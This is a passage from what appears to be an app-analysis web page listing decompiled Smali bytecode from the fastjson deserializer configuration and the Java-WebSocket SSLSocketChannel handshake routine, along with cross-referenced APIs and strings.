                                                185invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                187iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                189const-string v3, "java.time.LocalTime"
                                                191invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                192move-result-object v3
                                                194sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                196invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                198iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                200const-string v3, "java.time.ZonedDateTime"
                                                202invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                203move-result-object v3
                                                205sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                207invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                209iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                211const-string v3, "java.time.OffsetDateTime"
                                                213invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                214move-result-object v3
                                                216sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                218invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                220iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                222const-string v3, "java.time.OffsetTime"
                                                224invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                225move-result-object v3
                                                227sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                229invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                231iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                233const-string v3, "java.time.ZoneOffset"
                                                235invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                236move-result-object v3
                                                238sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                240invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                242iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                244const-string v3, "java.time.ZoneRegion"
                                                246invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                247move-result-object v3
                                                249sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                251invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                253iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                255const-string v3, "java.time.ZoneId"
                                                257invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                258move-result-object v3
                                                260sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                262invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                264iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                266const-string v3, "java.time.Period"
                                                268invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                269move-result-object v3
                                                271sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                273invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                275iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                277const-string v3, "java.time.Duration"
                                                279invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                280move-result-object v3
                                                282sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                284invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                286iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                288const-string v3, "java.time.Instant"
                                                290invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                291move-result-object v3
                                                293sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                295invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                297iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                299invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                300move-result-object v0
                                                301check-cast v0, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                302goto/16 :goto_1ba
                                                303cond_17a:
                                                304invoke-virtual {v2, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                305move-result v3
                                                306if-eqz v3, :cond_1be
                                                308iget-object v3, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                310invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                311move-result-object v0
                                                313sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                315invoke-virtual {v3, v0, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                317iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                319const-string v3, "java.util.OptionalDouble"
                                                321invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                322move-result-object v3
                                                324sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                326invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                328iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                330const-string v3, "java.util.OptionalInt"
                                                332invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                333move-result-object v3
                                                335sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                337invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                339iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                341const-string v3, "java.util.OptionalLong"
                                                343invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                344move-result-object v3
                                                346sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                348invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                350iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                352invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                353move-result-object v0
                                                354check-cast v0, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                355try_end_1ba: move-object v1, v0
                                                356goto/16 :goto_1be
                                                357catchall_1bc: sput-boolean v4, Lcom/alibaba/fastjson/parser/ParserConfig;->jdk8Error:Z
                                                358goto_1be:
                                                359const-string v0, "java.nio.file.Path"
                                                361invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                362move-result v0
                                                363if-eqz v0, :cond_1cd
                                                365iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                367sget-object v2, Lcom/alibaba/fastjson/serializer/MiscCodec;->instance:Lcom/alibaba/fastjson/serializer/MiscCodec;
                                                369invoke-virtual {v0, p1, v2}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                370cond_1cd:
                                                371invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                372move-result-object v0
                                                374invoke-virtual {v0}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                375move-result-object v0
                                                376try_start_1d5: const-class v2, Lcom/alibaba/fastjson/parser/deserializer/AutowiredObjectDeserializer;
                                                378invoke-static {v2, v0}, Lcom/alibaba/fastjson/util/ServiceLoader;->load(Ljava/lang/Class;Ljava/lang/ClassLoader;)Ljava/util/Set;
                                                379move-result-object v0
                                                381invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                382move-result-object v0
                                                383cond_1df:
                                                384invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
                                                385move-result v2
                                                386if-eqz v2, :cond_206
                                                388invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                389move-result-object v2
                                                390check-cast v2, Lcom/alibaba/fastjson/parser/deserializer/AutowiredObjectDeserializer;
                                                392invoke-interface {v2}, Lcom/alibaba/fastjson/parser/deserializer/AutowiredObjectDeserializer;->getAutowiredFor()Ljava/util/Set;
                                                393move-result-object v3
                                                395invoke-interface {v3}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                396move-result-object v3
                                                397goto_1f3:
                                                398invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                                399move-result v4
                                                400if-eqz v4, :cond_1df
                                                402invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                403move-result-object v4
                                                404check-cast v4, Ljava/lang/reflect/Type;
                                                406iget-object v5, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                408invoke-virtual {v5, v4, v2}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                409try_end_204: goto/16 :goto_1f3
                                                410catch_205: nop
                                                411cond_206: if-nez v1, :cond_211
                                                413iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                415invoke-virtual {v0, p2}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                416move-result-object v0
                                                417move-object v1, v0
                                                418check-cast v1, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                419cond_211: if-eqz v1, :cond_214
                                                420return-object v1
                                                421cond_214:
                                                422invoke-virtual {p1}, Ljava/lang/Class;->isEnum()Z
                                                423move-result v0
                                                424if-eqz v0, :cond_220
                                                425new-instance v0, Lcom/alibaba/fastjson/parser/deserializer/EnumDeserializer;
                                                427invoke-direct {v0, p1}, Lcom/alibaba/fastjson/parser/deserializer/EnumDeserializer;-><init>(Ljava/lang/Class;)V
                                                428goto/16 :goto_269
                                                429cond_220:
                                                430invoke-virtual {p1}, Ljava/lang/Class;->isArray()Z
                                                431move-result v0
                                                432if-eqz v0, :cond_229
                                                434sget-object v0, Lcom/alibaba/fastjson/serializer/ObjectArrayCodec;->instance:Lcom/alibaba/fastjson/serializer/ObjectArrayCodec;
                                                435goto/16 :goto_269
                                                436cond_229: const-class v0, Ljava/util/Set;
                                                437if-eq p1, v0, :cond_267
                                                438const-class v0, Ljava/util/HashSet;
                                                439if-eq p1, v0, :cond_267
                                                440const-class v0, Ljava/util/Collection;
                                                441if-eq p1, v0, :cond_267
                                                442const-class v0, Ljava/util/List;
                                                443if-eq p1, v0, :cond_267
                                                444const-class v0, Ljava/util/ArrayList;
                                                445if-ne p1, v0, :cond_23e
                                                446goto/16 :goto_267
                                                447cond_23e: const-class v0, Ljava/util/Collection;
                                                449invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                450move-result v0
                                                451if-eqz v0, :cond_249
                                                453sget-object v0, Lcom/alibaba/fastjson/serializer/CollectionCodec;->instance:Lcom/alibaba/fastjson/serializer/CollectionCodec;
                                                454goto/16 :goto_269
                                                455cond_249: const-class v0, Ljava/util/Map;
                                                457invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                458move-result v0
                                                459if-eqz v0, :cond_254
                                                461sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/MapDeserializer;->instance:Lcom/alibaba/fastjson/parser/deserializer/MapDeserializer;
                                                462goto/16 :goto_269
                                                463cond_254: const-class v0, Ljava/lang/Throwable;
                                                465invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                466move-result v0
                                                467if-eqz v0, :cond_262
                                                468new-instance v0, Lcom/alibaba/fastjson/parser/deserializer/ThrowableDeserializer;
                                                470invoke-direct {v0, p0, p1}, Lcom/alibaba/fastjson/parser/deserializer/ThrowableDeserializer;-><init>(Lcom/alibaba/fastjson/parser/ParserConfig;Ljava/lang/Class;)V
                                                471goto/16 :goto_269
                                                472cond_262:
                                                473invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/parser/ParserConfig;->createJavaBeanDeserializer(Ljava/lang/Class;Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                474move-result-object v0
                                                475goto/16 :goto_269
                                                476goto_267:
                                                477sget-object v0, Lcom/alibaba/fastjson/serializer/CollectionCodec;->instance:Lcom/alibaba/fastjson/serializer/CollectionCodec;
                                                478goto_269:
                                                479invoke-virtual {p0, p2, v0}, Lcom/alibaba/fastjson/parser/ParserConfig;->putDeserializer(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;)V
                                                480return-object v0
                                                Cross References
                                                APIs
                                                • javax.net.ssl.SSLEngine.getSession
                                                • javax.net.ssl.SSLSession.getApplicationBufferSize
                                                • java.nio.ByteBuffer.allocate
                                                • java.nio.ByteBuffer.allocate
                                                • java.nio.ByteBuffer.clear
                                                • java.nio.ByteBuffer.clear
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • javax.net.ssl.SSLEngineResult$HandshakeStatus.ordinal
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.IllegalStateException.<init>
                                                • javax.net.ssl.SSLEngine.getDelegatedTask
                                                • java.util.concurrent.ExecutorService.execute
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.nio.ByteBuffer.clear
                                                • javax.net.ssl.SSLEngine.wrap
                                                • javax.net.ssl.SSLEngineResult.getHandshakeStatus
                                                • javax.net.ssl.SSLEngineResult.getStatus
                                                • javax.net.ssl.SSLEngineResult$Status.ordinal
                                                • java.nio.ByteBuffer.flip
                                                • java.nio.ByteBuffer.hasRemaining
                                                • java.nio.channels.SocketChannel.write
                                                • java.nio.ByteBuffer.clear
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • javax.net.ssl.SSLEngineResult.getStatus
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.IllegalStateException.<init>
                                                • javax.net.ssl.SSLException.<init>
                                                • java.nio.ByteBuffer.flip
                                                • java.nio.ByteBuffer.hasRemaining
                                                • java.nio.channels.SocketChannel.write
                                                • javax.net.ssl.SSLEngine.closeOutbound
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.nio.channels.SocketChannel.read
                                                • javax.net.ssl.SSLEngine.isInboundDone
                                                • javax.net.ssl.SSLEngine.isOutboundDone
                                                • javax.net.ssl.SSLEngine.closeInbound
                                                • javax.net.ssl.SSLEngine.closeOutbound
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.nio.ByteBuffer.flip
                                                • javax.net.ssl.SSLEngine.unwrap
                                                • java.nio.ByteBuffer.compact
                                                • javax.net.ssl.SSLEngineResult.getHandshakeStatus
                                                • javax.net.ssl.SSLEngineResult.getStatus
                                                • javax.net.ssl.SSLEngineResult$Status.ordinal
                                                • javax.net.ssl.SSLEngine.isOutboundDone
                                                • javax.net.ssl.SSLEngine.closeOutbound
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • javax.net.ssl.SSLEngineResult.getStatus
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.IllegalStateException.<init>
                                                • javax.net.ssl.SSLEngine.closeOutbound
                                                • javax.net.ssl.SSLEngine.getHandshakeStatus
                                                • java.nio.ByteBuffer.hasRemaining
                                                • java.nio.channels.SocketChannel.write
                                                Strings
                                                • Invalid SSL status:
                                                • Buffer underflow occured after a wrap. I don\'t think we should ever get here.
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/io/IOException;
                                                3}
                                                4.end annotation
                                                6iget-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                8invoke-virtual {v0}, Ljavax/net/ssl/SSLEngine;->getSession()Ljavax/net/ssl/SSLSession;
                                                9move-result-object v0
                                                11invoke-interface {v0}, Ljavax/net/ssl/SSLSession;->getApplicationBufferSize()I
                                                12move-result v0
                                                14invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
                                                15move-result-object v1
                                                16iput-object v1, p0, Lorg/java_websocket/SSLSocketChannel;->myAppData:Ljava/nio/ByteBuffer;
                                                18invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
                                                19move-result-object v0
                                                20iput-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->peerAppData:Ljava/nio/ByteBuffer;
                                                22iget-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                24invoke-virtual {v0}, Ljava/nio/ByteBuffer;->clear()Ljava/nio/Buffer;
                                                26iget-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                28invoke-virtual {v0}, Ljava/nio/ByteBuffer;->clear()Ljava/nio/Buffer;
                                                30iget-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                32invoke-virtual {v0}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                33move-result-object v0
                                                34const/4 v1, 0x0
                                                35move-object v2, v0
                                                36const/4 v0, 0x0
                                                37goto_29: const/4 v3, 0x1
                                                38if-nez v0, :cond_1c4
                                                40sget-object v4, Lorg/java_websocket/SSLSocketChannel$1;->$SwitchMap$javax$net$ssl$SSLEngineResult$HandshakeStatus:[I
                                                42invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;->ordinal()I
                                                43move-result v5
                                                44aget v4, v4, v5
                                                45if-eq v4, v3, :cond_1b1
                                                47const-string v5, "Invalid SSL status: "
                                                48const/4 v6, 0x4
                                                49const/4 v7, 0x3
                                                50const/4 v8, 0x2
                                                51if-eq v4, v8, :cond_108
                                                52if-eq v4, v7, :cond_6f
                                                53if-eq v4, v6, :cond_5a
                                                54const/4 v3, 0x5
                                                55if-ne v4, v3, :cond_45
                                                56goto/16 :goto_29
                                                57cond_45: new-instance v0, Ljava/lang/IllegalStateException;
                                                58new-instance v1, Ljava/lang/StringBuilder;
                                                60invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                62invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                64invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                66invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                67move-result-object v1
                                                69invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                                70throw v0
                                                71cond_5a:
                                                72iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                74invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getDelegatedTask()Ljava/lang/Runnable;
                                                75move-result-object v2
                                                76if-eqz v2, :cond_68
                                                78iget-object v3, p0, Lorg/java_websocket/SSLSocketChannel;->executor:Ljava/util/concurrent/ExecutorService;
                                                80invoke-interface {v3, v2}, Ljava/util/concurrent/ExecutorService;->execute(Ljava/lang/Runnable;)V
                                                81goto/16 :goto_5a
                                                82cond_68:
                                                83iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                85invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                86move-result-object v2
                                                87goto/16 :goto_29
                                                88cond_6f:
                                                89iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                91invoke-virtual {v2}, Ljava/nio/ByteBuffer;->clear()Ljava/nio/Buffer;
                                                92try_start_74:
                                                93iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                95iget-object v4, p0, Lorg/java_websocket/SSLSocketChannel;->myAppData:Ljava/nio/ByteBuffer;
                                                97iget-object v9, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                99invoke-virtual {v2, v4, v9}, Ljavax/net/ssl/SSLEngine;->wrap(Ljava/nio/ByteBuffer;Ljava/nio/ByteBuffer;)Ljavax/net/ssl/SSLEngineResult;
                                                100move-result-object v2
                                                102invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                103move-result-object v4
                                                104try_end_82:
                                                105sget-object v9, Lorg/java_websocket/SSLSocketChannel$1;->$SwitchMap$javax$net$ssl$SSLEngineResult$Status:[I
                                                107invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getStatus()Ljavax/net/ssl/SSLEngineResult$Status;
                                                108move-result-object v10
                                                110invoke-virtual {v10}, Ljavax/net/ssl/SSLEngineResult$Status;->ordinal()I
                                                111move-result v10
                                                112aget v9, v9, v10
                                                113if-eq v9, v3, :cond_e3
                                                114if-eq v9, v8, :cond_db
                                                115if-eq v9, v7, :cond_d2
                                                116if-ne v9, v6, :cond_b9
                                                117try_start_96:
                                                118iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                120invoke-virtual {v2}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
                                                121goto_9b:
                                                122iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                124invoke-virtual {v2}, Ljava/nio/ByteBuffer;->hasRemaining()Z
                                                125move-result v2
                                                126if-eqz v2, :cond_ab
                                                128iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->socketChannel:Ljava/nio/channels/SocketChannel;
                                                130iget-object v3, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                132invoke-virtual {v2, v3}, Ljava/nio/channels/SocketChannel;->write(Ljava/nio/ByteBuffer;)I
                                                133goto/16 :goto_9b
                                                134cond_ab:
                                                135iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                137invoke-virtual {v2}, Ljava/nio/ByteBuffer;->clear()Ljava/nio/Buffer;
                                                138try_end_b0: goto/16 :goto_f8
                                                139catch_b1:
                                                140iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                142invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                143move-result-object v2
                                                144goto/16 :goto_29
                                                145cond_b9: new-instance v0, Ljava/lang/IllegalStateException;
                                                146new-instance v1, Ljava/lang/StringBuilder;
                                                148invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                150invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                152invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getStatus()Ljavax/net/ssl/SSLEngineResult$Status;
                                                153move-result-object v2
                                                155invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                157invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                158move-result-object v1
                                                160invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                                161throw v0
                                                162cond_d2:
                                                163iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                165invoke-direct {p0, v2}, Lorg/java_websocket/SSLSocketChannel;->enlargePacketBuffer(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                166move-result-object v2
                                                167iput-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                168goto/16 :goto_f8
                                                169cond_db: new-instance v0, Ljavax/net/ssl/SSLException;
                                                171const-string v1, "Buffer underflow occured after a wrap. I don\'t think we should ever get here."
                                                173invoke-direct {v0, v1}, Ljavax/net/ssl/SSLException;-><init>(Ljava/lang/String;)V
                                                174throw v0
                                                175cond_e3:
                                                176iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                178invoke-virtual {v2}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
                                                179goto_e8:
                                                180iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                182invoke-virtual {v2}, Ljava/nio/ByteBuffer;->hasRemaining()Z
                                                183move-result v2
                                                184if-eqz v2, :cond_f8
                                                186iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->socketChannel:Ljava/nio/channels/SocketChannel;
                                                188iget-object v3, p0, Lorg/java_websocket/SSLSocketChannel;->myNetData:Ljava/nio/ByteBuffer;
                                                190invoke-virtual {v2, v3}, Ljava/nio/channels/SocketChannel;->write(Ljava/nio/ByteBuffer;)I
                                                191goto/16 :goto_e8
                                                192cond_f8: move-object v2, v4
                                                193goto/16 :goto_29
                                                194catch_fb:
                                                195iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
